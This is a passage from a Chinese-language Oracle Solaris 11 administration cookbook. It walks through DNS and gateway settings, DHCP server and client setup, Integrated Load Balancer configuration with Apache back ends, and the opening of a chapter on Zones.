root@solaris11-1:~# svcadm refresh svc:/system/name-service/switch:default
root@solaris11-1:~# svcadm restart svc:/system/name-service/switch:default

适用于 etc 下的 resolv.conf 文件的相同规则也适用于 etc 下的 nsswitch.conf 文件(配置名称解析顺序的文件),它在每次系统启动时也会重新生成:

root@solaris11-1:~# more /etc/nsswitch.conf
#
# _AUTOGENERATED_FROM_SMF_V1_
#
# WARNING: THIS FILE GENERATED FROM SMF DATA.
#   DO NOT EDIT THIS FILE.  EDITS WILL BE LOST.
# See nsswitch.conf(4) for details.

passwd:  files
group:  files
hosts:  files dns
ipnodes:  files dns
networks:  files
protocols:  files
rpc:  files
ethers:  files
netmasks:  files
bootparams:  files
publickey:  files
netgroup:  files
automount:  files
aliases:  files
services:  files
printers:  user files
project:  files
auth_attr:  files
prof_attr:  files
tnrhtp:  files
tnrhdb:  files
sudoers:  files

最后的测试是执行以下操作来 ping 一个网站:

root@solaris11-1:~# ping www.oracle.com
www.oracle.com is alive

要为系统配置默认网关(192.168.1.1),并防止像 DNS 客户端配置案例中的持久性相同效果(即仅在下次重新启动之前有效的设置),请执行以下命令:

root@solaris11-1:~# route -p add default 192.168.1.1

要验证上述命令并确认网关配置,请执行以下命令:

root@solaris11-1:~# netstat -rn -f inet
Routing Table: IPv4
Destination         Gateway          Flags  Ref     Use     Interface
------------------- ---------------- ------ ------- ------- ---------
default             192.168.1.1      UG        2         46   
127.0.0.1           127.0.0.1        UH        2        500 lo0
192.168.1.0         192.168.1.144    U         3          4 net0

配方概述

在本节中,我们了解了链路保护来防范 DNS、DHCP 和 IP 欺骗。此外,还介绍了 DNS 客户端服务配置。

配置 DHCP 服务器

Oracle Solaris 11 包含了一个名为互联网系统联盟动态主机配置协议ISC DHCP)的开源版本,这是一个广泛应用的客户端-服务器服务,许多 IT 管理员都会使用它。这使得网络和 IP 地址配置变得更加容易,尤其是在需要管理大量网络机器时。如果没有 DHCP 服务器,管理员必须手动为每台网络机器配置 IP 地址、子网掩码、网关、服务器名称等设置,这将使得管理工作变得非常耗时。使用 DHCP 服务时,大部分网络设置都在一个集中点进行,并且可以为选定的机器执行特定的配置。

Oracle Solaris 11 中没有预安装 DHCP 服务器,但它可以从 DVD 或 Oracle 仓库中获取,而 DHCP 客户端(dhcpagent)则会在每个默认的 Oracle Solaris 11 及更高版本的安装中运行并包含。

所有 DHCP 操作基于广播服务并且限制在本地网络内,每个网络段应当拥有自己的 DHCP 服务器。当网络段(例如,A 段)上的主机与另一个网络段(例如,B 段)上只有一个 DHCP 服务器时,可以通过路由器使用 DHCP 中继实现从 B 段的 DHCP 服务器获取服务。Oracle Solaris 11 也支持配置 DHCP 中继,但这里不展示,因为在 Oracle Solaris 11 中使用 DHCP 中继是一个罕见的配置。

准备工作

本教程需要三台虚拟机(VirtualBox 或 VMware),运行 Oracle Solaris 11,内存为 4GB。建议所有机器都在一个隔离的网络上,以防外部 DHCP 服务器干扰我们的测试。

如何操作…

如前所述,DHCP 服务器默认没有安装;我们必须在第一台机器(solaris11-1)上安装它:

root@solaris11-1:~# pkg publisher
PUBLISHER           TYPE     STATUS P LOCATION
solaris             origin   online F http://solaris11-1.example.com/
root@solaris11-1:~# pkg install dhcp/isc-dhcp
           Packages to install:  1
       Create boot environment: No
Create backup boot environment: No
            Services to change:  2
(truncated output)

由于所需的软件包已经安装,现在是时候配置 DHCP 服务器了。

我们的子网是192.168.1.0/24,因此需要配置 DHCP 服务器以支持这个网络段。将etc/inet下的dhcpd.conf.example模板复制到/etc/inet/dhcpd4.conf,并进行一些更改,包括网络段、默认租约时间、域名服务器名称和默认网关配置行,如下所示:

root@solaris11-1:~# cp /etc/inet/dhcpd.conf.example /etc/inet/dhcpd4.conf
root@solaris11-1:~# more /etc/inet/dhcpd4.conf
option domain-name "example.com";
option domain-name-servers 8.8.8.8, 8.8.4.4;

default-lease-time 600;
max-lease-time 7200;

# This is a very basic subnet declaration.

subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.10 192.168.1.15 ;
  option routers 192.168.1.1 ;
}
root@solaris11-1:~#

要使/etc/inet/下的dhcp4.conf文件中的更改生效,请执行以下命令:

root@solaris11-1:~# svcs -a | grep dhcp
disabled        7:23:22 svc:/network/dhcp/server:ipv6
disabled        7:23:22 svc:/network/dhcp/server:ipv4
disabled        7:23:24 svc:/network/dhcp/relay:ipv6
disabled        7:23:24 svc:/network/dhcp/relay:ipv4
root@solaris11-1:~# svcadm enable svc:/network/dhcp/server:ipv4
root@solaris11-1:~# svcs -a | grep dhcp
disabled        7:23:22 svc:/network/dhcp/server:ipv6
disabled        7:23:24 svc:/network/dhcp/relay:ipv6
disabled        7:23:24 svc:/network/dhcp/relay:ipv4
online          7:58:21 svc:/network/dhcp/server:ipv4
root@solaris11-1:~#

我们已经完成了 DHCP 服务器的配置;现在,转到solaris11-2系统上配置 DHCP 客户端。为了将网络接口设置为从我们的 DHCP 服务器获取网络配置,请执行以下命令:

root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.55/24
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# ipadm delete-ip net0
root@solaris11-2:~# ipadm create-ip net0
root@solaris11-2:~# ipadm create-addr -T dhcp net0/v4
root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.10/24
lo0/v6            static   ok           ::1/128

太棒了!客户端机器(solaris11-2)已成功接收到 IP 地址,这个地址位于 DHCP 服务器提供的地址范围内(192.168.1.10192.168.1.15)。最重要的命令是ipadm create-addr -T dhcp net0/v4,该命令从 DHCP 服务器分配一个 IP 地址。

在 DHCP 服务器机器上,有一个名为 dhcp4.leases 的文件,显示了 DHCP 客户端的租约信息:

root@solaris11-1:~# more /var/db/isc-dhcp/dhcpd4.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-4.1-ESV-R6

lease 192.168.1.10 {
  starts 6 2014/01/18 20:16:07;
  ends 6 2014/01/18 22:16:07;
  cltt 6 2014/01/18 20:16:07;
  binding state active;
  next binding state free;
  hardware ethernet 08:00:27:96:46:f0;
}
server-duid "\000\001\000\001\032k\273=\010\000'2\205\200";

根据前面的命令,它为持有 MAC 地址 08:00:27:96:46:f0 的客户端分配了一个 IP 地址(192.168.1.10)。返回到 solaris11-2 机器(即 DHCP 客户端机器),可以确认我们正在讨论的是同一台虚拟机:

root@solaris11-2:~# dladm show-linkprop net0 | grep mac-address
net0     mac-address         rw   8:0:27:96:46:f0 8:0:27:96:46:f0 –

在 DHCP 客户端上,执行以下命令以续租 IP 地址:

root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.10/24
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# ipadm refresh-addr net0/v4

solaris11-1 服务器中,续租事件显示在 /var/db/isc-dhcp/dhcp4.leases 文件中:

root@solaris11-1:~# more /var/db/isc-dhcp/dhcpd4.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-4.1-ESV-R6

lease 192.168.1.10 {
  starts 6 2014/01/18 20:16:07;
  ends 6 2014/01/18 22:16:07;
  cltt 6 2014/01/18 20:16:07;
  binding state active;
  next binding state free;
  hardware ethernet 08:00:27:96:46:f0;
}
server-duid "\000\001\000\001\032k\273=\010\000'2\205\200";

lease 192.168.1.10 {
  starts 6 2014/01/18 20:19:02;
  ends 6 2014/01/18 22:19:02;
  cltt 6 2014/01/18 20:19:02;
  binding state active;
  next binding state free;
  hardware ethernet 08:00:27:96:46:f0;
}

让我们再测试一次续租过程,通过执行以下命令释放并租用一个新的 IP 地址:

root@solaris11-2:~# ipadm delete-addr -r net0/v4
root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-2:~# ipadm create-addr -T dhcp net0
net0/v4
root@solaris11-2:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.10/24
lo0/v6            static   ok           ::1/128
root@solaris11-2:~#

一切正常运作!

配方概览

DHCP 服务器是一项非常常见的服务,配置和维护都很简单。这个 DHCP 示例将在后续章节中作为 自动安装AI)服务的支持服务。

配置集成负载均衡器

当然,集成负载均衡器ILB)是 Oracle Solaris 11 最具吸引力的功能之一,因为它为网络层 3 和 4 提供了负载均衡服务。基本上,当客户端需要一个应用程序的资源(例如,Web 服务器)时,ILB 框架决定哪个后端主机(例如,Web 服务器 A 或 B)将处理该请求。因此,ILB 的主要作用是决定将请求转发到哪个后端服务器(例如,Apache Web 服务器)。ILB 在 Oracle Solaris 11 中支持两种工作方式:直接服务器返回DSR)和 网络地址转换NAT)。在这两种情况下,ILB 框架使用以下四种算法之一:

  • 轮询:这尝试在所有后端服务器之间保持均等的统计分布

  • 源 IP 哈希:在这种方式中,目的后端服务器的选择是通过对客户端的源 IP 地址进行哈希计算来决定的

  • 源 IP 端口哈希:在这种方式中,目的后端服务器的选择是通过对客户端的源 IP 和端口地址进行哈希计算来决定的

  • 源 IP VIP 哈希:在这种方式中,目的后端服务器的选择是通过对客户端的源 IP 和目的 IP 地址进行哈希计算来决定的

DSR 方法允许 ILB 接收请求,以决定将请求转发到哪个后端服务器(例如,Apache 服务器),并使来自后端服务器的回答直接返回给客户端。然而,如果 ILB 服务器配置为路由器,则所有来自后端服务器的回答可以通过 ILB 路由到客户端。

当 ILB 配置为使用 DSR 方法时,它的性能优于 NAT,并且具有更好的透明性,因为只有目的 MAC 地址发生变化,返回客户端的回答可以绕过 ILB 服务器,正如我们之前提到的那样。不幸的是,如果我们尝试添加一个新的后端服务器,连接将会中断,因为连接是无状态的。

到目前为止我们提到的内容的示意图如下所示:

  • 请求:客户端 | ILB 服务器 | 后端服务器(A 或 B)

  • 回答:后端服务器 | 客户端

  • 回答(ILB 作为路由器):后端服务器 | ILB(路由器) | 客户端

以下图像(图中的 IP 地址仅为示例)也描述了该过程:

配置集成负载均衡器

NAT 方法(半 NAT 或全 NAT)允许 ILB 通过更改目标 IP 地址来重写所有请求——当 ILB 使用全 NAT 模式时,还会通过将真实的 IP 客户端地址用 ILB 的 IP 地址进行掩码来更改源地址。后端服务器认为请求来自 ILB 服务器,而不是客户端。

以下是解释此过程的示意图:

  • 请求:客户端 | ILB 服务器(NAT) | 后端服务器(A 或 B)

  • 回答:后端服务器(A 或 B) | ILB 服务器(NAT) | 客户端

为了简化操作,以下图表说明了该过程:

配置集成负载均衡器

与 DSR 不同,ILB NAT 模型要求 ILB 服务器作为默认网关。

准备就绪

为了执行此步骤,我们必须安装四台虚拟机(VirtualBox 或 VMware),并且每台虚拟机都安装 Oracle Solaris 11 和 4GB 的内存。

就个人而言,我在 VirtualBox 中安装了所有这些虚拟机,并将它们的网络适配器配置为附加到:内部网络。该场景的设计是solaris11-2 | solaris11-1 | solaris11-3/solaris11-4

  • solaris11-2net0):192.168.1.155

  • solaris11-1net0):192.168.1.144

  • solaris11-1net1):192.168.5.77

  • solaris11-3net0):192.168.5.88

  • solaris11-4net0):192.168.5.99

例如,/etc/hosts应如下所示:

root@solaris11-1:~# more /etc/hosts | grep -v '#'
::1 solaris11-1 localhost
127.0.0.1 solaris11-1 localhost loghost
192.168.1.144  solaris11-1  solaris11-1.example.com
192.168.1.155  solaris11-2  solaris11-2.example.com
192.168.5.77  solaris11-1b  solaris11-1b.example.com
192.168.5.88  solaris11-3  solaris11-3.example.com
192.168.5.99  solaris11-4  solaris11-4.example.com

如何操作…

在启动 NAT 或 DSR 示例之前,必须按照之前显示的 IP 地址配置配置基础设施并设置所有虚拟机:

solaris11-1中,执行以下命令:

root@solaris11-1:~# ipadm delete-ip net0
root@solaris11-1:~# ipadm delete-ip net1
root@solaris11-1:~# ipadm create-ip net0
root@solaris11-1:~# ipadm create-ip net0
root@solaris11-1:~# ipadm create-addr –T static –a 192.168.1.144/24 net0/v4
root@solaris11-1:~# ipadm create-addr –T static –a 192.168.5.77/24  net1/v4
root@solaris11-1:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net1/v4           static   ok           192.168.5.77/24
root@solaris11-1:~#

solaris11-2中,执行以下命令:

root@solaris11-2:~# ipadm delete-ip net0
root@solaris11-2:~# ipadm create-ip net0
root@solaris11-2:~# ipadm create-addr –T static –a 192.168.1.155/24 net0/v4
root@solaris11-2:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.155/24
root@solaris11-2:~#

solaris11-3中,执行以下命令:

root@solaris11-3:~# ipadm delete-ip net0
root@solaris11-3:~# ipadm create-ip net0
root@solaris11-3:~# ipadm create-addr –T static –a 192.168.5.88/24 net0/v4
root@solaris11-3:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.5.88/24
root@solaris11-3:~#

solaris11-4中,执行以下命令:

root@solaris11-4:~# ipadm delete-ip net0
root@solaris11-4:~# ipadm create-ip net0
root@solaris11-4:~# ipadm create-addr –T static –a 192.168.5.99/24 net0/v4
root@solaris11-4:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.5.99/24
root@solaris11-4:~#

下一阶段是通过执行以下命令配置两个 Apache 服务器(solaris11-3solaris11-4):

root@solaris11-3:~# pkg install apache
root@solaris11-3:~# cd /var/apache2/2.2/htdocs
root@solaris11-3:/var/apache2/2.2/htdocs# cp index.html index.html.backup
root@solaris11-3:/var/apache2/2.2/htdocs# vi index.html
root@solaris11-3:/var/apache2/2.2/htdocs# more index.html

如何操作…

root@solaris11-3:/var/apache2/2.2/htdocs# svcs -a | grep apache22
disabled        1:21:53 svc:/network/http:apache22
root@solaris11-3:/var/apache2/2.2/htdocs# svcadm enable svc:/network/http:apache22
root@solaris11-3:~# svcs -a | grep apache22
online          4:31:59 svc:/network/http:apache22
root@solaris11-4:~# cd /var/apache2/2.2/htdocs
root@solaris11-4:/var/apache2/2.2/htdocs# cp index.html index.html.backup
root@solaris11-4:/var/apache2/2.2/htdocs# vi index.html
root@solaris11-4:/var/apache2/2.2/htdocs# more index.html

如何操作…

root@solaris11-4:/var/apache2/2.2/htdocs# svcs -a | grep apache22
disabled        1:21:53 svc:/network/http:apache22
root@solaris11-4:/var/apache2/2.2/htdocs# svcadm enable svc:/network/http:apache22
root@solaris11-4:/var/apache2/2.2/htdocs# svcs -a | grep apache22
online          4:43:58 svc:/network/http:apache22

所需的基础设施已经准备好,因此将在配置半 NAT 场景的solaris11-1虚拟机中执行 ILB 设置:

root@solaris11-1:~# ping solaris11-2
solaris11-2 is alive
root@solaris11-1:~# ping solaris11-3
solaris11-3 is alive
root@solaris11-1:~# ping solaris11-4
solaris11-4 is alive

为了验证路由和转发配置,请运行以下命令:

root@solaris11-1:~# routeadm
             Configuration   Current              Current
                    Option   Configuration        System State
---------------------------------------------------------------
              IPv4 routing   disabled             disabled
              IPv6 routing   disabled             disabled
           IPv4 forwarding   disabled             disabled
           IPv6 forwarding   disabled             disabled

          Routing services   "route:default ripng:default"

Routing daemons:

                     STATE   FMRI
                  disabled   svc:/network/routing/rdisc:default
                  disabled   svc:/network/routing/route:default
                  disabled   svc:/network/routing/ripng:default
                    online   svc:/network/routing/ndp:default
                  disabled   svc:/network/routing/legacy-routing:ipv4
                  disabled   svc:/network/routing/legacy-routing:ipv6

要启用系统中网络接口卡之间的 IPv4 转发,请执行以下命令:

root@solaris11-1:~# routeadm -e ipv4-forwarding
root@solaris11-1:~# ipadm set-prop -p forwarding=on ipv4
root@solaris11-1:~# routeadm
             Configuration   Current              Current
                    Option   Configuration        System State
---------------------------------------------------------------
              IPv4 routing   disabled             disabled
              IPv6 routing   disabled             disabled
            IPv4 forwarding   enabled              enabled
           IPv6 forwarding   disabled             disabled

          Routing services   "route:default ripng:default"

Routing daemons:

                     STATE   FMRI
                  disabled   svc:/network/routing/rdisc:default
                  disabled   svc:/network/routing/route:default
                  disabled   svc:/network/routing/ripng:default
                    online   svc:/network/routing/ndp:default
                  disabled   svc:/network/routing/legacy-routing:ipv4
                  disabled   svc:/network/routing/legacy-routing:ipv6
root@solaris11-1:~#
root@solaris11-1:~# svcs -a | grep ilb
disabled        5:03:26 svc:/network/loadbalancer/ilb:default

此时,我们需要通过执行以下命令启用 ILB 服务:

root@solaris11-1:~# svcadm enable svc:/network/loadbalancer/ilb:default
root@solaris11-1:~# svcs -a | grep ilb
online          5:08:42 svc:/network/loadbalancer/ilb:default

在使用 ILB 时,我们必须创建一个服务器组,指向在后端服务器中运行的应用程序(在我们的案例中是 Apache):

root@solaris11-1:~# ilbadm create-servergroup -s servers=solaris11-3:80,solaris11-4:80 apachegroup
root@solaris11-1:~# ilbadm show-servergroup
SGNAME         SERVERID            MINPORT MAXPORT IP_ADDRESS
apachegroup    _apachegroup.0      80      80      192.168.5.88
apachegroup    _apachegroup.1      80      80      192.168.5.99

下一步是创建一个虚拟 IP 地址VIP 地址),这使得负载均衡成为可能,并且客户端可以通过任何网络接口访问应用程序:

root@solaris11-1:~# ipadm create-addr -d -a 192.168.1.220/24 net0
net0/v4a
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net0/v4a          static   down         192.168.1.220/24
net1/v4           static   ok           192.168.5.77/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm up-addr net0/v4a
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net0/v4a          static   ok           192.168.1.220/24
net1/v4           static   ok           192.168.5.77/24
lo0/v6            static   ok           ::1/128

最后,我们将通过运行以下命令配置 ILB,使用轮询算法:

root@solaris11-1:~# ilbadm create-rule -ep -i vip=192.168.1.220,port=8080 -m lbalg=roundrobin,type=HALF-NAT,pmask=24 -o servergroup=apachegroup rule_one

此命令的一些选项如下:

  • -e:此选项启用规则

  • -p:此选项使得规则在重启后仍然有效

  • -i:此选项指定传入数据包

  • vip:这是虚拟 IP 地址(连接点)

  • port:这是虚拟 IP 地址端口

  • -m:此选项指定描述如何处理数据包的关键字

  • lbalg:这是负载均衡算法

  • type:这是 ILB 拓扑

该配方不使用动态路由;因此,必须手动在每个后端服务器中添加静态路由,以便将所有响应返回给 ILB 服务器:

root@solaris11-3:~# route add net 192.168.1.0/24 192.168.5.77
add net 192.168.1.0/24: gateway 192.168.5.77
root@solaris11-3:~# ping 192.168.1.144
192.168.1.144 is alive
root@solaris11-3:~#
root@solaris11-4:~# route add net 192.168.1.0/24 192.168.5.77
add net 192.168.1.0/24: gateway 192.168.5.77
root@solaris11-4:~# ping 192.168.1.144
192.168.1.144 is alive
root@solaris11-4:~#

ILB 设置的测试是通过浏览器访问 ILB 服务器(http://192.168.1.220:8080)进行的,并确认该配方的结果如以下截图所示:

如何操作…

在短暂的时间(60 秒)后,我们再次尝试访问相同的地址:

如何操作…

太棒了!ILB 配方完美运行!

这里还有其他的教育细节。例如,通过执行以下命令可以在命令行中获取规则的详细信息:

root@solaris11-1:~# ilbadm show-rule
RULENAME         STATUS LBALG       TYPE    PROTOCOL VIP        PORT
rule_one         E      roundrobin  HALF-NAT TCP 192.168.1.220   8080
root@solaris11-1:~# ilbadm show-rule -f
       RULENAME: rule_one
         STATUS: E
           PORT: 8080
       PROTOCOL: TCP
          LBALG: roundrobin
           TYPE: HALF-NAT
      PROXY-SRC: --
          PMASK: /24
        HC-NAME: --
        HC-PORT: --
     CONN-DRAIN: 0
    NAT-TIMEOUT: 120
PERSIST-TIMEOUT: 60
    SERVERGROUP: apachegroup
            VIP: 192.168.1.220
        SERVERS: _apachegroup.0,_apachegroup.1

统计信息(每两秒采样一次)可以通过执行以下命令来显示:

root@solaris11-1:~# ilbadm show-statistics 2
PKT_P   BYTES_P   PKT_U   BYTES_U   PKT_D   BYTES_D
189     33813     0       0         0       0
0       0         0       0         0       0
0       0         0       0         0       0
0       0         0       0         0       0
0       0         0       0         0       0
^C
root@solaris11-1:~#

在这里,请注意以下几点:

  • PKT_P:这些是已处理的数据包

  • BYTES_P:这些是已处理的字节

  • PKT_U:这些是未处理的数据包

  • BYTES_U:这些是未处理的字节

  • PKT_D:这些是丢弃的数据包

  • BYTES_D:这些是丢弃的字节

很棒!尽管 ILB 配置已完成,但我们可以随时通过ilbadm add-serverilbadm remove-server命令添加或删除新的后端服务器,而无需停止 ILB 或中断任何连接。此功能仅在配置 NAT ILB 时可用。此外,另一种选择是使用–p选项并通过指定pmask子选项来将来自同一客户端的连接绑定到同一服务器(会话保持)。

半 NAT ILB 设置使您能够在计划对禁用的服务器进行维护时,防止新的连接在该服务器禁用时完成。一个非常好的细节是我们部署了一个端口(8080)来接收对 VIP 地址的新连接。不过,实际上可以使用多个端口(例如8080-8089)来通过 TCP 或 UDP 在它们之间平衡连接。

还有一些值得一提的其他选择:

  • conn-drain:这是在 NAT ILB 场景中使用的,它是一种超时设置。经过此时间后,服务器的连接状态会被移除,以及相应的规则。TCP 的默认行为是连接保持到终止,而 UDP 连接则会保持直到空闲超时。

  • nat-timeout:此值设定了连接的最大超时时间(UDP 为 60 秒,TCP 为 120 秒),当超时后,连接会被终止并移除。

  • persist-timeout:此项仅在启用持久映射时使用,它类似于时间限制(默认值为 60 秒),用于删除映射。最终,持久映射将在超时后丢失。

为了展示这些选项的使用方法,请禁用并移除现有规则,然后创建一个带有一些附加参数的新规则:

root@solaris11-1:~# ilbadm disable-rule rule_one
root@solaris11-1:~# ilbadm delete-rule rule_one
root@solaris11-1:~# ilbadm show-rule
root@solaris11-1:~# ilbadm create-rule -ep -i vip=192.168.1.220,port=8080-8099,protocol=tcp -m lbalg=roundrobin,type=HALF-NAT,pmask=24 -t conn-drain=30,nat-timeout=30,persist-timeout=30 -o servergroup=apachegroup rule_two
root@solaris11-1:~# ilbadm show-rule
RULENAME    STATUS LBALG       TYPE    PROTOCOL VIP         PORT
rule_two    E      roundrobin  HALF-NAT TCP 192.168.1.220   8080-8099
root@solaris11-1:~# ilbadm show-rule -f
       RULENAME: rule_two
         STATUS: E
           PORT: 8080-8099
       PROTOCOL: TCP
          LBALG: roundrobin
           TYPE: HALF-NAT
      PROXY-SRC: --
          PMASK: /24
        HC-NAME: --
        HC-PORT: --
     CONN-DRAIN: 30
    NAT-TIMEOUT: 30
PERSIST-TIMEOUT: 30
    SERVERGROUP: apachegroup
            VIP: 192.168.1.220
        SERVERS: _apachegroup.0,_apachegroup.1

本示例使用端口范围(80808099),允许任何使用 TCP 的客户端连接到该范围内的任意端口,并设置了之前解释的控制超时值的特定参数。任何设置都应根据后台服务器中运行的应用程序来执行。

可以通过执行以下命令来删除所有 ILB 配置:

root@solaris11-1:~# ilbadm disable-rule rule_two
root@solaris11-1:~# ilbadm show-rule -f
       RULENAME: rule_two
         STATUS: D
           PORT: 8080-8099
       PROTOCOL: TCP
          LBALG: roundrobin
           TYPE: HALF-NAT
      PROXY-SRC: --
          PMASK: /24
        HC-NAME: --
        HC-PORT: --
     CONN-DRAIN: 30
    NAT-TIMEOUT: 30
PERSIST-TIMEOUT: 30
    SERVERGROUP: apachegroup
            VIP: 192.168.1.220
        SERVERS: _apachegroup.0,_apachegroup.1
root@solaris11-1:~# ilbadm delete-rule rule_two
root@solaris11-1:~# ilbadm show-servergroup
SGNAME         SERVERID            MINPORT MAXPORT IP_ADDRESS
apachegroup    _apachegroup.0      80      80      192.168.5.88
apachegroup    _apachegroup.1      80      80      192.168.5.99
root@solaris11-1:~# ilbadm delete-servergroup apachegroup
root@solaris11-1:~# ilbadm show-servergroup
root@solaris11-1:~#

配方概览

ILB 是 Oracle Solaris 11 的一项极佳功能,它在第 3 层和第 4 层创建负载均衡,并帮助将客户端请求分发到后台服务器。

参考文献

第四章. Zones

在本章中,我们将涵盖以下内容:

  • 在 zone 中创建、管理和使用虚拟网络

  • 使用资源管理器管理 zone

  • 实现流量控制

  • 从物理 Oracle Solaris 10 主机迁移到 Oracle Solaris 11 Zones

介绍

Oracle Solaris 11 Zones 是一个出色的框架,它虚拟化并整合了一个系统环境,在该环境中有许多应用程序和物理机器运行 Oracle Solaris。用一个粗略的比较,Oracle Solaris 11 zone 类似于 VMware ESX、Linux LXC 和 FreeBSD Jails 提供的其他虚拟化选项,但它具有一些重要的不同之处,例如不允许执行硬件仿真或运行除 Oracle Solaris 11 或之前版本的 Oracle Solaris 之外的任何其他操作系统。

在 Oracle Solaris Zones 中,基本的概念是通过共享或划分(使用资源管理器)现有资源,在主操作系统(父操作系统)内部创建不同的小型操作系统安装(子操作系统)。每个安装将有自己的 init 文件和进程,尽管它与父操作系统共享内核,从而导致比之前提到的解决方案更少的开销。使用 Oracle Solaris 11 的术语,父操作系统是全球 zone,子操作系统是非全球 zone,正如我们稍后将看到的。

Oracle Solaris zone 提供了应用程序隔离、额外的安全层和降低的功耗要求。这种对安全性的关注是必要的,以防止在一个 zone 内运行的应用程序崩溃其他 zone 中的应用程序。这也是非全球 zone 无法查看其他非全球 zone、可以包含额外软件包并具有独立产品数据库来控制其自身安装软件的原因。

进一步讨论前面提到的特点,zone 使得多个应用程序能够共享主机资源,从而降低部署成本。这种资源管理允许我们为非全球 zone 分配特定资源,以创建资源消耗的限制(例如 CPU 和内存),并控制进程、任务或项目使用多少资源。此外,这种资源控制利用了 Oracle Solaris 调度器类 公平共享调度器FSS),以对 CPU(使用共享)和内存(使用 rcapd 守护进程限制物理内存量)进行控制。

Zone 在 Oracle Solaris 版本 10 中引入,可以分为全球 zone(物理机器安装,即之前提到的父操作系统)和非全球 zone(非正式称为 本地 zone 或简单地称为 zone,即之前提到的子操作系统),在这些 zone 中可以安装和管理应用程序,并进行正确的资源配置。

全球区域(父区域)是一个可启动的区域,直接来自物理硬件,它使得配置、安装、管理和删除非全球区域(子区域)成为可能,因为它也是唯一了解所有现有区域的区域。通常,非全球区域运行与全球区域相同的操作系统,但 Oracle Solaris 11 提供了另一种区域类型,称为品牌化区域,它使得创建和安装一个运行 Oracle Solaris 10 的非全球区域成为可能。

简而言之,在安装非全球区域时,需要提供输入目录以指定区域安装位置、网络接口以及如 IP 地址和网络掩码等网络信息。此外,还需要指定在非全球区域中与网络接口一起使用的 IP 类型。共有两种选择:共享 IP(当网络接口与全球区域共享时使用)和专用 IP(当网络接口专用于非全球区域时使用)。

一旦区域配置完成,下一步就是安装并管理该区域。需要了解的是,非全球区域可以有以下区域状态:

  • undefined:表示区域配置是否未完成或已删除

  • incomplete:表示区域安装在中途被中止

  • configured:表示区域配置是否完成

  • installed:表示区域包和操作系统已安装

  • ready:表示几乎可以运行的区域,并带有相关的区域 ID

  • running:表示一切正常,正在执行中

  • down:表示区域已停止

说实话,日常工作中更常见的状态是configuredinstalledrunningdown。其他状态都是临时状态,我们很少需要关心它们。

因此,状态的顺序是undefined | configured | incomplete | installed | ready | running | down

通常有专业人士问我:“Oracle Solaris 11 和 Oracle Solaris 10 之间有什么区别?”确实存在一些相关差异。现在,var目录是一个独立的文件系统,默认区域品牌是 Solaris(之前是 native),不再存在稀疏区域的概念,而默认文件系统是 ZFS,并使用 IPS 作为包管理器。然而,在 Oracle Solaris 11 中最重要的区域差异是引入了网络虚拟化,它允许我们使用至少一个网络接口——虚拟网络接口 (VNICs)——和虚拟交换机的概念来控制网络区域资源。例如,一台物理机器可以在全局区域中运行 Oracle Solaris 11,并且有五个非全局区域(z1、z2、z3、z4 和 z5),每个区域都有一个专用的 VNIC 连接到一个虚拟交换机(etherstub),最后一个连接到真实网络接口卡。此外,可以强制执行网络流控制,并配置特定的链路属性以增加带宽控制和效率,从而可以在不同的 VNICs 之间共享网络资源。

可以根据每个 VNIC 创建可能的网络流,并具有特定的属性,隔离和分类类似的数据包,并带有相关联的绑定资源。可能的流属性包括maxbw(定义流的带宽)和优先级(定义流中数据包的优先级为低、中和高)。

所有提到的资源控制(CPU、内存和网络)默认情况下都是禁用的,并由两个资源服务控制:默认资源池服务(svc:/system/pools:default)和动态资源池服务(svc:/system/pools/dynamic:default)。名为pooladm.conf的配置文件位于etc目录下,帮助我们定义池的创建和资源管理行为,它由一个名为poold的守护程序控制整个分配控制和限制,在将创建的池与非全局区域关联后。

现在,我们准备学习关于 Oracle Solaris 11 区域的下一个配方。

创建、管理和使用区域内的虚拟网络

我喜欢这个配方,因为在这里,我们将使用 Oracle Solaris 11 虚拟网络区域的主要功能。简而言之,我们将创建和配置以下场景:

  • zone1 | vnic1 (192.168.1.51) | vswitch1 (etherstub) | net0 (192.168.1.144)

  • zone2 | vnic2 (192.168.1.52) | vswitch1 (etherstub) | net0 (192.168.1.144)

每个区域连接到其相应的虚拟网络接口 (VNIC),两个 VNIC 都连接到同一个etherstub(一种虚拟交换机)。因此,etherstub需要一个虚拟接口(vnic0)。最后,etherstub连接到一个真实接口(net0)。每个区域的zonepath属性和其他属性如下:

  • zonepath zone1: /myzones/zone1

  • zonepath zone2: /myzones/zone2

  • IP 类型:专用 IP

准备就绪

本教程需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),至少需要 4 GB 的内存(推荐 8 GB),一个额外的 80 GB 磁盘,以及为该虚拟机配置的双核或更多核心的处理器,以下截图是从我的 VirtualBox 环境中提取的:

准备就绪

如何操作…

